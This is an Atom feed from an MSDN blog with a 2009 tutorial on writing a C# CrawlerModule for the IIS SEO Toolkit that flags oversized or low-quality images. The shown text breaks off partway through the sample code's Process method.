<?xml version="1.0" encoding="UTF-8" ?>
<?xml-stylesheet type="text/xsl" href="http://blogs.msdn.com/utility/FeedStylesheets/atom.xsl" media="screen"?><feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en-US"><title type="html">CarlosAg Blog</title><subtitle type="html" /><id>http://blogs.msdn.com/carlosag/atom.xml</id><link rel="alternate" type="text/html" href="http://blogs.msdn.com/carlosag/default.aspx" /><link rel="self" type="application/atom+xml" href="http://blogs.msdn.com/carlosag/atom.xml" /><generator uri="http://communityserver.org" version="2.1.61025.2">Community Server</generator><updated>2009-06-12T03:40:49Z</updated><entry><title>IIS SEO Toolkit – Crawler Module Extensibility</title><link rel="alternate" type="text/html" href="http://blogs.msdn.com/carlosag/archive/2009/11/23/iis-seo-toolkit-crawler-module-extensibility.aspx" /><id>http://blogs.msdn.com/carlosag/archive/2009/11/23/iis-seo-toolkit-crawler-module-extensibility.aspx</id><published>2009-11-23T22:55:00Z</published><updated>2009-11-23T22:55:00Z</updated><content type="html">&lt;H1&gt;&amp;nbsp;&lt;/H1&gt;
&lt;H1&gt;Sample SEO Toolkit CrawlerModule Extensibility&lt;/H1&gt;
&lt;P&gt;In this blog we are going to write an example on how to extend the SEO Toolkit functionality, so for that we are going to pretend our company has a large Web site that includes several images, and now we are interested in making sure all of them comply to a certain standard, lets say all of them should be smaller than 1024x768 pixels and that the quality of the images is no less than 16 bits per pixel. Additionally we would also like to be able to make custom queries that can later allow us to further analyze the contents of the images and filter based on directories and more. &lt;/P&gt;
&lt;P&gt;For this we will extend the SEO Toolkit crawling process to perform the additional processing for images, we will be adding the following new capabilities:&lt;/P&gt;
&lt;OL&gt;
&lt;LI&gt;Capture additional information from the Content. In this case we will capture information about the image, in particular we will extend the report to add a "Image Width", "Image Height" and a "Image Pixel Format". &lt;/LI&gt;
&lt;LI&gt;Flag additional violations. In this example we will flag three new violations: 
&lt;OL&gt;
&lt;LI&gt;Image is too large. This violation will be flagged any time the content length of the image is larger than the "Maximum Download Size per URL" configured at the start of the analysis. It will also flag this violation if the resolution is larger than 1024x768. &lt;/LI&gt;
&lt;LI&gt;Image pixel format is too small. This violation will be flagged if the image is 8 or 4 bits per pixel. &lt;/LI&gt;
&lt;LI&gt;Image has a small resolution. This will be flagged if the image resolution per inch is less than 72dpi. &lt;/LI&gt;&lt;/OL&gt;&lt;/LI&gt;&lt;/OL&gt;
&lt;H2&gt;Enter CrawlerModule&lt;/H2&gt;
&lt;P&gt;A crawler module is a class that extends the crawling process in Site Analysis to provide custom functionality while processing each URL. By deriving from this class you can easily raise your own set of violations or add your own data and links to any URL. &lt;/P&gt;
&lt;DIV class=code&gt;&lt;FONT color=#0000ff&gt;public&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;abstract&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;class&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;CrawlerModule&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;:&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#2b91af&gt;IDisposable&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&lt;/FONT&gt;&lt;FONT color=#000000&gt;{&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#006400&gt;// Methods&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#0000ff&gt;public&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;virtual&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;void&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;BeginAnalysis()&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;;&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#0000ff&gt;public&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;virtual&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;void&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;EndAnalysis(&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;bool&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;cancelled)&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;;&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#0000ff&gt;public&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;abstract&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;void&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;Process(CrawlerProcessContext&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;context)&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;;&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#006400&gt;// Properties &lt;BR&gt;&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#0000ff&gt;protected&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;WebCrawler&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;Crawler&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;{&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;get;&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;}&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#0000ff&gt;protected&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;CrawlerSettings&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;Settings&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;{&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;get;&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;}&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&lt;/FONT&gt;&lt;FONT color=#000000&gt;}&lt;/FONT&gt; &lt;/DIV&gt;
&lt;P&gt;It includes three main methods:&lt;/P&gt;
&lt;OL&gt;
&lt;LI&gt;BeginAnalysis. This method is invoked once at the beginning of the crawling process and allows you to perform any initialization needed. Common tasks include registering custom properties in the Report that can be accessed through the Crawler property. &lt;/LI&gt;
&lt;LI&gt;Process. This method is invoked for each URL once its contents has been downloaded. The context argument includes a property URLInfo that provides all the metadata extracted for the URL. It also includes a list of Violations and Links in the URL. Common tasks include augmenting the metadata of the URL whether using its contents or external systems, flagging new custom Violations, or discovering new links in the contents. &lt;/LI&gt;
&lt;LI&gt;EndAnalysis. This method is invoked once at the end of the crawling process and allows you to do any final calculations on the report once all the URLs have been processed. Common tasks in this method include performing aggregations of data across all the URLs, or identifying violations that depend on all the data being available (such as finding duplicates). &lt;/LI&gt;&lt;/OL&gt;
&lt;H2&gt;Coding the Image Crawler Module &lt;/H2&gt;
&lt;P&gt;Create a Class Library in Visual Studio and add the code shown below.&lt;/P&gt;
&lt;OL&gt;
&lt;LI&gt;Open Visual Studio and select the option File-&amp;gt;New Project &lt;/LI&gt;
&lt;LI&gt;In the New Project dialog select the Class Library project template and specify a name and a location such as "SampleCrawlerModule" &lt;/LI&gt;
&lt;LI&gt;Using the Menu "Project-&amp;gt;Add Reference", add a reference to the IIS SEO Toolkit client library (C:\Program Files\Reference Assemblies\Microsoft\IIS\Microsoft.Web.Management.SEO.Client.dll). &lt;/LI&gt;
&lt;LI&gt;Since we are going to be registering this through the IIS Manager extensibility, add a reference to the IIS Manager extensibility DLL (c:\windows\system32\inetsrv\Microsoft.Web.Management.dll) using the "Project-&amp;gt;Add Reference" menu. &lt;/LI&gt;
&lt;LI&gt;Also, since we will be using the .NET Bitmap class you need to add a reference to "System.Drawing" using the "Project-&amp;gt;Add Reference" menu. &lt;/LI&gt;
&lt;LI&gt;Delete the auto-generated Class1.cs since we will not be using it. &lt;/LI&gt;
&lt;LI&gt;Using the Menu "Project-&amp;gt;Add New Item" Add a new class named "ImageExtension". &lt;/LI&gt;&lt;/OL&gt;
&lt;DIV class=code&gt;&lt;FONT color=#0000ff&gt;using&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;System&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;;&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;using&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;System.Drawing&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;;&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;using&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;System.Drawing.Imaging&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;;&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;using&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;Microsoft.Web.Management.SEO.Crawler&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;;&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&lt;BR&gt;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;namespace&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;SampleCrawlerModule&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;{&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#006400&gt;/// &amp;lt;summary&amp;gt; &lt;BR&gt;&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#006400&gt;/// Extension to add validation and metadata to images while crawling &lt;BR&gt;&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#006400&gt;/// &amp;lt;/summary&amp;gt; &lt;BR&gt;&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#0000ff&gt;internal&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;class&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;ImageExtension&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;:&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;CrawlerModule&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;{&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#0000ff&gt;private&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;const&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;string&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;ImageWidthField&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;=&lt;/FONT&gt;&lt;FONT color=#808080&gt; "iWidth"&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;;&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#0000ff&gt;private&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;const&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;string&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;ImageHeightField&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;=&lt;/FONT&gt;&lt;FONT color=#808080&gt; "iHeight"&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;;&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#0000ff&gt;private&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;const&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;string&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;ImagePixelFormatField&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;=&lt;/FONT&gt;&lt;FONT color=#808080&gt; "iPixFmt"&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;;&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#0000ff&gt;public&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;override&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;void&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;BeginAnalysis()&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;{&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#006400&gt;// Register the properties we want to augment at the begining of the analysis &lt;BR&gt;&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#000000&gt;Crawler.Report.RegisterProperty(ImageWidthField,&lt;/FONT&gt;&lt;FONT color=#808080&gt; "Image Width"&lt;/FONT&gt;&lt;FONT color=#000000&gt;,&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;typeof&lt;/FONT&gt;&lt;FONT color=#000000&gt;(&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;int&lt;/FONT&gt;&lt;FONT color=#000000&gt;))&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;;&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#000000&gt;Crawler.Report.RegisterProperty(ImageHeightField,&lt;/FONT&gt;&lt;FONT color=#808080&gt; "Image Height"&lt;/FONT&gt;&lt;FONT color=#000000&gt;,&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;typeof&lt;/FONT&gt;&lt;FONT color=#000000&gt;(&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;int&lt;/FONT&gt;&lt;FONT color=#000000&gt;))&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;;&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#000000&gt;Crawler.Report.RegisterProperty(ImagePixelFormatField,&lt;/FONT&gt;&lt;FONT color=#808080&gt; "Image Pixel Format"&lt;/FONT&gt;&lt;FONT color=#000000&gt;,&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;typeof&lt;/FONT&gt;&lt;FONT color=#000000&gt;(&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;string&lt;/FONT&gt;&lt;FONT color=#000000&gt;))&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;;&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#000000&gt;}&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#0000ff&gt;public&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;override&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;void&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;Process(CrawlerProcessContext&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;context)&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;{&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#006400&gt;// Make sure only process the Content Types we need to &lt;BR&gt;&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#0000ff&gt;switch&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;(context.UrlInfo.ContentTypeNormalized)&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;{&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#0000ff&gt;case&lt;/FONT&gt;&lt;FONT color=#808080&gt; "image/jpeg"&lt;/FONT&gt;&lt;FONT color=#000000&gt;:&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#0000ff&gt;case&lt;/FONT&gt;&lt;FONT color=#808080&gt; "image/png"&lt;/FONT&gt;&lt;FONT color=#000000&gt;:&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#0000ff&gt;case&lt;/FONT&gt;&lt;FONT color=#808080&gt; "image/gif"&lt;/FONT&gt;&lt;FONT color=#000000&gt;:&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#0000ff&gt;case&lt;/FONT&gt;&lt;FONT color=#808080&gt; "image/bmp"&lt;/FONT&gt;&lt;FONT color=#000000&gt;:&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#006400&gt;// Process only known content types &lt;BR&gt;&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#0000ff&gt;break;&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#0000ff&gt;default&lt;/FONT&gt;&lt;FONT color=#000000&gt;:&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#006400&gt;// Ignore any other &lt;BR&gt;&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#0000ff&gt;return;&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#000000&gt;}&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#006400&gt;//-------------------------------------------- &lt;BR&gt;&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#006400&gt;// If the content length of the image was larger than the max &lt;BR&gt;&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#006400&gt;//&amp;nbsp;&amp;nbsp; allowed to download, then flag a violation, and stop &lt;BR&gt;&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#0000ff&gt;if&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;(context.UrlInfo.ContentLength&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;&amp;gt;&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#000000&gt;Crawler.Settings.MaxContentLength)&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;{&lt;/FONT&gt;&lt;FONT color=#808080&gt; 